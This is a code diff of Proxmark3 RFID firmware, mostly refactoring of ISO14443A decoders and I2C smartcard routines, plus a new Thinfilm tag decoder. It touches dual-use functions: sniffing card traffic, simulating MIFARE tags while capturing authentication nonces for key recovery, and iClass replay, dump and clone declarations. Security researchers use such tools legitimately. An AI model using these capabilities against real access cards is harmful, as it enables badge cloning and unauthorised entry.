// Direct use the loop to delay. 6 instructions loop, Masterclock 48MHz,
|
||||
// delay=1 is about 200kbps
|
||||
// timer.
|
||||
// I2CSpinDelayClk(4) = 12.31us
|
||||
|
@ -41,7 +49,7 @@ void __attribute__((optimize("O0"))) I2CSpinDelayClk(uint16_t delay) {
|
|||
|
||||
#define ISO7618_MAX_FRAME 255
|
||||
|
||||
// try i2c bus recovery at 100kHz = 5uS high, 5uS low
|
||||
// try i2c bus recovery at 100kHz = 5us high, 5us low
|
||||
void I2C_recovery(void) {
|
||||
|
||||
DbpString("Performing i2c bus recovery");
|
||||
|
@ -701,7 +709,7 @@ void SmartCardAtr(void) {
|
|||
set_tracing(true);
|
||||
I2C_Reset_EnterMainProgram();
|
||||
bool isOK = GetATR(&card);
|
||||
reply_old(CMD_ACK, isOK, sizeof(smart_card_atr_t), 0, &card, sizeof(smart_card_atr_t));
|
||||
reply_mix(CMD_ACK, isOK, sizeof(smart_card_atr_t), 0, &card, sizeof(smart_card_atr_t));
|
||||
set_tracing(false);
|
||||
LEDsoff();
|
||||
}
|
||||
|
@ -752,7 +760,7 @@ void SmartCardRaw(uint64_t arg0, uint64_t arg1, uint8_t *data) {
|
|||
}
|
||||
}
|
||||
OUT:
|
||||
reply_old(CMD_ACK, len, 0, 0, resp, len);
|
||||
reply_mix(CMD_ACK, len, 0, 0, resp, len);
|
||||
BigBuf_free();
|
||||
set_tracing(false);
|
||||
LEDsoff();
|
|
@ -1,10 +1,7 @@
|
|||
#ifndef __I2C_H
|
||||
#define __I2C_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include "proxmark3.h"
|
||||
#include "apps.h"
|
||||
#include "BigBuf.h"
|
||||
#include "common.h"
|
||||
#include "mifare.h"
|
||||
|
||||
#define I2C_DEVICE_ADDRESS_BOOT 0xB0
|
||||
|
@ -18,7 +15,6 @@
|
|||
#define I2C_DEVICE_CMD_GETVERSION 0x06
|
||||
#define I2C_DEVICE_CMD_SEND_T0 0x07
|
||||
|
||||
|
||||
void I2C_recovery(void);
|
||||
void I2C_init(void);
|
||||
void I2C_Reset(void);
|
||||
|
@ -48,4 +44,5 @@ void SmartCardSetBaud(uint64_t arg0);
|
|||
void SmartCardSetClock(uint64_t arg0);
|
||||
void I2C_print_status(void);
|
||||
int I2C_get_version(uint8_t *maj, uint8_t *min);
|
||||
|
||||
#endif
|
551
armsrc/iclass.c
551
armsrc/iclass.c
File diff suppressed because it is too large
Load diff
29
armsrc/iclass.h
Normal file
29
armsrc/iclass.h
Normal file
|
@ -0,0 +1,29 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Jonathan Westhues, Aug 2005
|
||||
// Gerhard de Koning Gans, April 2008, May 2011
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// Definitions internal to the app source.
|
||||
//-----------------------------------------------------------------------------
|
||||
#ifndef __ICLASS_H
|
||||
#define __ICLASS_H
|
||||
|
||||
#include "common.h"
|
||||
|
||||
void RAMFUNC SniffIClass(void);
|
||||
void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
|
||||
void ReaderIClass(uint8_t arg0);
|
||||
void ReaderIClass_Replay(uint8_t arg0, uint8_t *mac);
|
||||
void iClass_Authentication(uint8_t *mac);
|
||||
void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain);
|
||||
void iClass_WriteBlock(uint8_t blockno, uint8_t *data);
|
||||
void iClass_ReadBlk(uint8_t blockno);
|
||||
bool iClass_ReadBlock(uint8_t blockno, uint8_t *data, uint8_t len);
|
||||
void iClass_Dump(uint8_t blockno, uint8_t numblks);
|
||||
void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data);
|
||||
void iClass_ReadCheck(uint8_t blockno, uint8_t keytype);
|
||||
|
||||
#endif
|
|
@ -11,8 +11,25 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
#include "iso14443a.h"
|
||||
|
||||
#include "string.h"
|
||||
#include "proxmark3_arm.h"
|
||||
#include "cmd.h"
|
||||
#include "appmain.h"
|
||||
#include "BigBuf.h"
|
||||
#include "fpgaloader.h"
|
||||
#include "ticks.h"
|
||||
#include "dbprint.h"
|
||||
#include "util.h"
|
||||
#include "parity.h"
|
||||
#include "mifareutil.h"
|
||||
#include "commonutil.h"
|
||||
#include "crc16.h"
|
||||
#include "protocols.h"
|
||||
|
||||
#define MAX_ISO14A_TIMEOUT 524288
|
||||
static uint32_t iso14a_timeout;
|
||||
// if iso14443a not active - transmit/receive dont try to execute
|
||||
static bool hf_field_active = false;
|
||||
|
||||
uint8_t colpos = 0;
|
||||
int rsamples = 0;
|
||||
|
@ -23,7 +40,7 @@ static uint8_t iso14_pcb_blocknum = 0;
|
|||
//
|
||||
// ISO14443 timing:
|
||||
//
|
||||
// minimum time between the start bits of consecutive transfers from reader to tag: 7000 carrier (13.56Mhz) cycles
|
||||
// minimum time between the start bits of consecutive transfers from reader to tag: 7000 carrier (13.56MHz) cycles
|
||||
#define REQUEST_GUARD_TIME (7000/16 + 1)
|
||||
// minimum time between last modulation of tag and next start bit from reader to tag: 1172 carrier cycles
|
||||
#define FRAME_DELAY_TIME_PICC_TO_PCD (1172/16 + 1)
|
||||
|
@ -91,7 +108,7 @@ static uint32_t LastProxToAirDuration;
|
|||
// Sequence D: 11110000 modulation with subcarrier during first half
|
||||
// Sequence E: 00001111 modulation with subcarrier during second half
|
||||
// Sequence F: 00000000 no modulation with subcarrier
|
||||
// Sequence COLL: 11111111 load modulation over the full bitlenght.
|
||||
// Sequence COLL: 11111111 load modulation over the full bitlength.
|
||||
// Tricks the reader to think that multiple cards answer (at least one card with 1 and at least one card with 0).
|
||||
// READER TO CARD - miller
|
||||
// Sequence X: 00001100 drop after half a period
|
||||
|
@ -159,7 +176,7 @@ void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par) {
|
|||
// Note 1: the bitstream may start at any time. We therefore need to sync.
|
||||
// Note 2: the interpretation of Sequence Y and Z depends on the preceding sequence.
|
||||
//-----------------------------------------------------------------------------
|
||||
static tUart Uart;
|
||||
static tUart14a Uart;
|
||||
|
||||
// Lookup-Table to decide if 4 raw bits are a modulation.
|
||||
// We accept the following:
|
||||
|
@ -174,12 +191,12 @@ const bool Mod_Miller_LUT[] = {
|
|||
#define IsMillerModulationNibble1(b) (Mod_Miller_LUT[(b & 0x000000F0) >> 4])
|
||||
#define IsMillerModulationNibble2(b) (Mod_Miller_LUT[(b & 0x0000000F)])
|
||||
|
||||
tUart *GetUart() {
|
||||
tUart14a *GetUart14a() {
|
||||
return &Uart;
|
||||
}
|
||||
|
||||
void UartReset(void) {
|
||||
Uart.state = STATE_UNSYNCD;
|
||||
void Uart14aReset(void) {
|
||||
Uart.state = STATE_14A_UNSYNCD;
|
||||
Uart.bitCount = 0;
|
||||
Uart.len = 0; // number of decoded data bytes
|
||||
Uart.parityLen = 0; // number of decoded parity bytes
|
||||
|
@ -192,17 +209,17 @@ void UartReset(void) {
|
|||
Uart.syncBit = 9999;
|
||||
}
|
||||
|
||||
void UartInit(uint8_t *data, uint8_t *par) {
|
||||
void Uart14aInit(uint8_t *data, uint8_t *par) {
|
||||
Uart.output = data;
|
||||
Uart.parity = par;
|
||||
UartReset();
|
||||
Uart14aReset();
|
||||
}
|
||||
|
||||
// use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time
|
||||
RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
|
||||
Uart.fourBits = (Uart.fourBits << 8) | bit;
|
||||
|
||||
if (Uart.state == STATE_UNSYNCD) { // not yet synced
|
||||
if (Uart.state == STATE_14A_UNSYNCD) { // not yet synced
|
||||
Uart.syncBit = 9999; // not set
|
||||
|
||||
// 00x11111 2|3 ticks pause followed by 6|5 ticks unmodulated Sequence Z (a "0" or "start of communication")
|
||||
|
@ -228,20 +245,20 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
|
|||
Uart.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8);
|
||||
Uart.startTime -= Uart.syncBit;
|
||||
Uart.endTime = Uart.startTime;
|
||||
Uart.state = STATE_START_OF_COMMUNICATION;
|
||||
Uart.state = STATE_14A_START_OF_COMMUNICATION;
|
||||
}
|
||||
} else {
|
||||
|
||||
if (IsMillerModulationNibble1(Uart.fourBits >> Uart.syncBit)) {
|
||||
if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation in both halves - error
|
||||
UartReset();
|
||||
Uart14aReset();
|
||||
} else { // Modulation in first half = Sequence Z = logic "0"
|
||||
if (Uart.state == STATE_MILLER_X) { // error - must not follow after X
|
||||
UartReset();
|
||||
if (Uart.state == STATE_14A_MILLER_X) { // error - must not follow after X
|
||||
Uart14aReset();
|
||||
} else {
|
||||
Uart.bitCount++;
|
||||
Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg
|
||||
Uart.state = STATE_MILLER_Z;
|
||||
Uart.state = STATE_14A_MILLER_Z;
|
||||
Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 6;
|
||||
if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
|
||||
Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
|
||||
|
@ -260,7 +277,7 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
|
|||
if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation second half = Sequence X = logic "1"
|
||||
Uart.bitCount++;
|
||||
Uart.shiftReg = (Uart.shiftReg >> 1) | 0x100; // add a 1 to the shiftreg
|
||||
Uart.state = STATE_MILLER_X;
|
||||
Uart.state = STATE_14A_MILLER_X;
|
||||
Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 2;
|
||||
if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
|
||||
Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
|
||||
|
@ -274,8 +291,8 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
|
|||
}
|
||||
}
|
||||
} else { // no modulation in both halves - Sequence Y
|
||||
if (Uart.state == STATE_MILLER_Z || Uart.state == STATE_MILLER_Y) { // Y after logic "0" - End of Communication
|
||||
Uart.state = STATE_UNSYNCD;
|
||||
if (Uart.state == STATE_14A_MILLER_Z || Uart.state == STATE_14A_MILLER_Y) { // Y after logic "0" - End of Communication
|
||||
Uart.state = STATE_14A_UNSYNCD;
|
||||
Uart.bitCount--; // last "0" was part of EOC sequence
|
||||
Uart.shiftReg <<= 1; // drop it
|
||||
if (Uart.bitCount > 0) { // if we decoded some bits
|
||||
|
@ -292,15 +309,15 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
|
|||
if (Uart.len) {
|
||||
return true; // we are finished with decoding the raw data sequence
|
||||
} else {
|
||||
UartReset(); // Nothing received - start over
|
||||
Uart14aReset(); // Nothing received - start over
|
||||
}
|
||||
}
|
||||
if (Uart.state == STATE_START_OF_COMMUNICATION) { // error - must not follow directly after SOC
|
||||
UartReset();
|
||||
if (Uart.state == STATE_14A_START_OF_COMMUNICATION) { // error - must not follow directly after SOC
|
||||
Uart14aReset();
|
||||
} else { // a logic "0"
|
||||
Uart.bitCount++;
|
||||
Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg
|
||||
Uart.state = STATE_MILLER_Y;
|
||||
Uart.state = STATE_14A_MILLER_Y;
|
||||
if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
|
||||
Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
|
||||
Uart.parityBits <<= 1; // make room for the parity bit
|
||||
|
@ -334,7 +351,7 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
|
|||
// 8 ticks modulated: A collision. Save the collision position and treat as Sequence D
|
||||
// Note 1: the bitstream may start at any time. We therefore need to sync.
|
||||
// Note 2: parameter offset is used to determine the position of the parity bits (required for the anticollision command only)
|
||||
tDemod Demod;
|
||||
tDemod14a Demod;
|
||||
|
||||
// Lookup-Table to decide if 4 raw bits are a modulation.
|
||||
// We accept three or four "1" in any position
|
||||
|
@ -346,11 +363,11 @@ const bool Mod_Manchester_LUT[] = {
|
|||
#define IsManchesterModulationNibble1(b) (Mod_Manchester_LUT[(b & 0x00F0) >> 4])
|
||||
#define IsManchesterModulationNibble2(b) (Mod_Manchester_LUT[(b & 0x000F)])
|
||||
|
||||
tDemod *GetDemod() {
|
||||
tDemod14a *GetDemod14a() {
|
||||
return &Demod;
|
||||
}
|
||||
void DemodReset(void) {
|
||||
Demod.state = DEMOD_UNSYNCD;
|
||||
void Demod14aReset(void) {
|
||||
Demod.state = DEMOD_14A_UNSYNCD;
|
||||
Demod.len = 0; // number of decoded data bytes
|
||||
Demod.parityLen = 0;
|
||||
Demod.shiftReg = 0; // shiftreg to hold decoded data bits
|
||||
|
@ -365,17 +382,17 @@ void DemodReset(void) {
|
|||
Demod.samples = 0;
|
||||
}
|
||||
|
||||
void DemodInit(uint8_t *data, uint8_t *par) {
|
||||
void Demod14aInit(uint8_t *data, uint8_t *par) {
|
||||
Demod.output = data;
|
||||
Demod.parity = par;
|
||||
DemodReset();
|
||||
Demod14aReset();
|
||||
}
|
||||
|
||||
// use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time
|
||||
RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time) {
|
||||
Demod.twoBits = (Demod.twoBits << 8) | bit;
|
||||
|
||||
if (Demod.state == DEMOD_UNSYNCD) {
|
||||
if (Demod.state == DEMOD_14A_UNSYNCD) {
|
||||
|
||||
if (Demod.highCnt < 2) { // wait for a stable unmodulated signal
|
||||
if (Demod.twoBits == 0x0000) {
|
||||
|
@ -397,7 +414,7 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t
|
|||
Demod.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8);
|
||||
Demod.startTime -= Demod.syncBit;
|
||||
Demod.bitCount = offset; // number of decoded data bits
|
||||
Demod.state = DEMOD_MANCHESTER_DATA;
|
||||
Demod.state = DEMOD_14A_MANCHESTER_DATA;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
|
@ -453,7 +470,81 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t
|
|||
if (Demod.len) {
|
||||
return true; // we are finished with decoding the raw data sequence
|
||||
} else { // nothing received. Start over
|
||||
DemodReset();
|
||||
Demod14aReset();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false; // not finished yet, need more data
|
||||
}
|
||||
|
||||
|
||||
// Thinfilm, Kovio mangels ISO14443A in the way that they don't use start bit nor parity bits.
|
||||
RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) {
|
||||
Demod.twoBits = (Demod.twoBits << 8) | bit;
|
||||
|
||||
if (Demod.state == DEMOD_14A_UNSYNCD) {
|
||||
|
||||
if (Demod.highCnt < 2) { // wait for a stable unmodulated signal
|
||||
if (Demod.twoBits == 0x0000) {
|
||||
Demod.highCnt++;
|
||||
} else {
|
||||
Demod.highCnt = 0;
|
||||
}
|
||||
} else {
|
||||
Demod.syncBit = 0xFFFF; // not set
|
||||
if ((Demod.twoBits & 0x7700) == 0x7000) Demod.syncBit = 7;
|
||||
else if ((Demod.twoBits & 0x3B80) == 0x3800) Demod.syncBit = 6;
|
||||
else if ((Demod.twoBits & 0x1DC0) == 0x1C00) Demod.syncBit = 5;
|
||||
else if ((Demod.twoBits & 0x0EE0) == 0x0E00) Demod.syncBit = 4;
|
||||
else if ((Demod.twoBits & 0x0770) == 0x0700) Demod.syncBit = 3;
|
||||
else if ((Demod.twoBits & 0x03B8) == 0x0380) Demod.syncBit = 2;
|
||||
else if ((Demod.twoBits & 0x01DC) == 0x01C0) Demod.syncBit = 1;
|
||||
else if ((Demod.twoBits & 0x00EE) == 0x00E0) Demod.syncBit = 0;
|
||||
if (Demod.syncBit != 0xFFFF) {
|
||||
Demod.startTime = (GetCountSspClk() & 0xfffffff8);
|
||||
Demod.startTime -= Demod.syncBit;
|
||||
Demod.bitCount = 1; // number of decoded data bits
|
||||
Demod.shiftReg = 1;
|
||||
Demod.state = DEMOD_14A_MANCHESTER_DATA;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
|
||||
if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) { // modulation in first half
|
||||
if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // ... and in second half = collision
|
||||
if (!Demod.collisionPos) {
|
||||
Demod.collisionPos = (Demod.len << 3) + Demod.bitCount;
|
||||
}
|
||||
} // modulation in first half only - Sequence D = 1
|
||||
Demod.bitCount++;
|
||||
Demod.shiftReg = (Demod.shiftReg << 1) | 0x1; // in both cases, add a 1 to the shiftreg
|
||||
if (Demod.bitCount == 8) { // if we decoded a full byte
|
||||
Demod.output[Demod.len++] = (Demod.shiftReg & 0xff);
|
||||
Demod.bitCount = 0;
|
||||
Demod.shiftReg = 0;
|
||||
}
|
||||
Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1) - 4;
|
||||
} else { // no modulation in first half
|
||||
if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // and modulation in second half = Sequence E = 0
|
||||
Demod.bitCount++;
|
||||
Demod.shiftReg = (Demod.shiftReg << 1); // add a 0 to the shiftreg
|
||||
if (Demod.bitCount >= 8) { // if we decoded a full byte
|
||||
Demod.output[Demod.len++] = (Demod.shiftReg & 0xff);
|
||||
Demod.bitCount = 0;
|
||||
Demod.shiftReg = 0;
|
||||
}
|
||||
Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1);
|
||||
} else { // no modulation in both halves - End of communication
|
||||
if (Demod.bitCount > 0) { // there are some remaining data bits
|
||||
Demod.shiftReg <<= (8 - Demod.bitCount); // left align the decoded bits
|
||||
Demod.output[Demod.len++] = Demod.shiftReg & 0xff; // and add them to the output
|
||||
return true;
|
||||
}
|
||||
if (Demod.len) {
|
||||
return true; // we are finished with decoding the raw data sequence
|
||||
} else { // nothing received. Start over
|
||||
Demod14aReset();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -504,10 +595,10 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
|
|||
bool ReaderIsActive = false;
|
||||
|
||||
// Set up the demodulator for tag -> reader responses.
|
||||
DemodInit(receivedResp, receivedRespPar);
|
||||
Demod14aInit(receivedResp, receivedRespPar);
|
||||
|
||||
// Set up the demodulator for the reader -> tag commands
|
||||
UartInit(receivedCmd, receivedCmdPar);
|
||||
Uart14aInit(receivedCmd, receivedCmdPar);
|
||||
|
||||
DbpString("Starting to sniff");
|
||||
|
||||
|
@ -581,13 +672,13 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
|
|||
true)) break;
|
||||
}
|
||||
/* ready to receive another command. */
|
||||
UartReset();
|
||||
Uart14aReset();
|
||||
/* reset the demod code, which might have been */
|
||||
/* false-triggered by the commands from the reader. */
|
||||
DemodReset();
|
||||
Demod14aReset();
|
||||
LED_B_OFF();
|
||||
}
|
||||
ReaderIsActive = (Uart.state != STATE_UNSYNCD);
|
||||
ReaderIsActive = (Uart.state != STATE_14A_UNSYNCD);
|
||||
}
|
||||
|
||||
// no need to try decoding tag data if the reader is sending - and we cannot afford the time
|
||||
|
@ -606,13 +697,13 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
|
|||
if ((!triggered) && (param & 0x01)) triggered = true;
|
||||
|
||||
// ready to receive another response.
|
||||
DemodReset();
|
||||
Demod14aReset();
|
||||
// reset the Miller decoder including its (now outdated) input buffer
|
||||
UartReset();
|
||||
//UartInit(receivedCmd, receivedCmdPar);
|
||||
Uart14aReset();
|
||||
//Uart14aInit(receivedCmd, receivedCmdPar);
|
||||
LED_C_OFF();
|
||||
}
|
||||
TagIsActive = (Demod.state != DEMOD_UNSYNCD);
|
||||
TagIsActive = (Demod.state != DEMOD_14A_UNSYNCD);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -624,6 +715,8 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
|
|||
}
|
||||
} // end main loop
|
||||
|
||||
FpgaDisableTracing();
|
||||
|
||||
if (DBGLEVEL >= DBG_ERROR) {
|
||||
Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len);
|
||||
Dbprintf("traceLen=" _YELLOW_("%d")", Uart.output[0]="_YELLOW_("%08x"), BigBuf_get_traceLen(), (uint32_t)Uart.output[0]);
|
||||
|
@ -741,7 +834,7 @@ static void Code4bitAnswerAsTag(uint8_t cmd) {
|
|||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Wait for commands from reader
|
||||
// stop when button is pressed
|
||||
// stop when button is pressed or client usb connection resets
|
||||
// or return TRUE when command is captured
|
||||
//-----------------------------------------------------------------------------
|
||||
static bool GetIso14443aCommandFromReader(uint8_t *received, uint8_t *par, int *len) {
|
||||
|
@ -752,7 +845,7 @@ static bool GetIso14443aCommandFromReader(uint8_t *received, uint8_t *par, int *
|
|||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN);
|
||||
|
||||
// Now run a `software UART` on the stream of incoming samples.
|
||||
UartInit(received, par);
|
||||
Uart14aInit(received, par);
|
||||
|
||||
// clear RXRDY:
|
||||
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
|
||||
|
@ -912,7 +1005,7 @@ static bool SimulateIso14443aInit(int tagType, int flags, uint8_t *data, tag_res
|
|||
}
|
||||
break;
|
||||
default: {
|
||||
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Error: unkown tagtype (%d)", tagType);
|
||||
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Error: unknown tagtype (%d)", tagType);
|
||||
return false;
|
||||
}
|
||||
break;
|
||||
|
@ -1071,7 +1164,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
|
|||
|
||||
if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) {
|
||||
BigBuf_free_keep_EM();
|
||||
reply_ng(CMD_SIMULATE_MIFARE_CARD, PM3_EINIT, NULL, 0);
|
||||
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
|
||||
return;
|
||||
}
|
||||
|
||||
|
@ -1092,7 +1185,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
|
|||
#define ORDER_SELECT_CL2 30
|
||||
#define ORDER_EV1_COMP_WRITE 40
|
||||
#define ORDER_RATS 70
|
||||
int order = ORDER_NONE;
|
||||
uint8_t order = ORDER_NONE;
|
||||
|
||||
int retval = PM3_SUCCESS;
|
||||
|
||||
|
@ -1191,7 +1284,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
|
|||
ar_nr_nonces[index].state = SECOND;
|
||||
|
||||
// send to client (one struct nonces_t)
|
||||
reply_ng(CMD_SIMULATE_MIFARE_CARD, PM3_SUCCESS, (uint8_t *)&ar_nr_nonces[index], sizeof(nonces_t));
|
||||
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_SUCCESS, (uint8_t *)&ar_nr_nonces[index], sizeof(nonces_t));
|
||||
|
||||
ar_nr_nonces[index].state = EMPTY;
|
||||
ar_nr_nonces[index].sector = 0;
|
||||
|
@ -1515,7 +1608,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
|
|||
Dbprintf("-[ Num of moebius tries [%d]", moebius_count);
|
||||
}
|
||||
|
||||
reply_ng(CMD_SIMULATE_MIFARE_CARD, retval, NULL, 0);
|
||||
reply_ng(CMD_HF_MIFARE_SIMULATE, retval, NULL, 0);
|
||||
}
|
||||
|
||||
// prepare a delayed transfer. This simply shifts ToSend[] by a number
|
||||
|
@ -1551,6 +1644,9 @@ void PrepareDelayedTransfer(uint16_t delay) {
|
|||
//-------------------------------------------------------------------------------------
|
||||
static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing) {
|
||||
|
||||
if (!hf_field_active)
|
||||
return;
|
||||
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
|
||||
|
||||
if (timing) {
|
||||
|
@ -1573,19 +1669,11 @@ static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing
|
|||
LastTimeProxToAirStart = ThisTransferTime;
|
||||
}
|
||||
|
||||
// clear TXRDY
|
||||
AT91C_BASE_SSC->SSC_THR = SEC_Y;
|
||||
|
||||
volatile uint8_t b;
|
||||
uint16_t c = 0;
|
||||
while (c < len) {
|
||||
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
|
||||
AT91C_BASE_SSC->SSC_THR = cmd[c++];
|
||||
}
|
||||
//iceman test
|
||||
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
|
||||
b = (uint16_t)(AT91C_BASE_SSC->SSC_RHR);
|
||||
(void)b;
|
||||
AT91C_BASE_SSC->SSC_THR = cmd[c];
|
||||
c++;
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -1699,12 +1787,18 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
|
|||
ADC_MODE_PRESCALE(63) |
|
||||
ADC_MODE_STARTUP_TIME(1) |
|
||||
ADC_MODE_SAMPLE_HOLD_TIME(15);
|
||||
|
||||
#if defined RDV4
|
||||
AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF_RDV40);
|
||||
#else
|
||||
AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF);
|
||||
#endif
|
||||
|
||||
// start ADC
|
||||
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
|
||||
|
||||
// Now run a 'software UART' on the stream of incoming samples.
|
||||
UartInit(received, par);
|
||||
Uart14aInit(received, par);
|
||||
|
||||
// Clear RXRDY:
|
||||
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
|
||||
|
@ -1723,12 +1817,19 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
|
|||
++check;
|
||||
|
||||
// test if the field exists
|
||||
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) {
|
||||
#if defined RDV4
|
||||
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF_RDV40)) {
|
||||
|
||||
analogCnt++;
|
||||
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF];
|
||||
|
||||
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF_RDV40];
|
||||
|
||||
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
|
||||
|
||||
if (analogCnt >= 32) {
|
||||
|
||||
if ((MAX_ADC_HF_VOLTAGE_RDV40 * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) {
|
||||
|
||||
if (timer == 0) {
|
||||
timer = GetTickCount();
|
||||
} else {
|
||||
|
@ -1744,6 +1845,35 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
|
|||
analogAVG = 0;
|
||||
}
|
||||
}
|
||||
#else
|
||||
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) {
|
||||
|
||||
analogCnt++;
|
||||
|
||||
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF];
|
||||
|
||||
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
|
||||
|
||||
if (analogCnt >= 32) {
|
||||
|
||||
if ((MAX_ADC_HF_VOLTAGE * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) {
|
||||
|
||||
if (timer == 0) {
|
||||
timer = GetTickCount();
|
||||
} else {
|
||||
// 50ms no field --> card to idle state
|
||||
if (GetTickCountDelta(timer) > 50) {
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
timer = 0;
|
||||
}
|
||||
analogCnt = 0;
|
||||
analogAVG = 0;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
// receive and test the miller decoding
|
||||
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
|
||||
|
@ -1916,12 +2046,15 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start
|
|||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// Kovio - Thinfilm barcode. TAG-TALK-FIRST -
|
||||
// Wait a certain time for tag response
|
||||
// If a response is captured return TRUE
|
||||
// If it takes too long return FALSE
|
||||
//-----------------------------------------------------------------------------
|
||||
static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset) {
|
||||
uint32_t c = 0;
|
||||
bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint8_t *received_len) {
|
||||
|
||||
if (!hf_field_active)
|
||||
return false;
|
||||
|
||||
// Set FPGA mode to "reader listen mode", no modulation (listen
|
||||
// only, since we are receiving, not transmitting).
|
||||
|
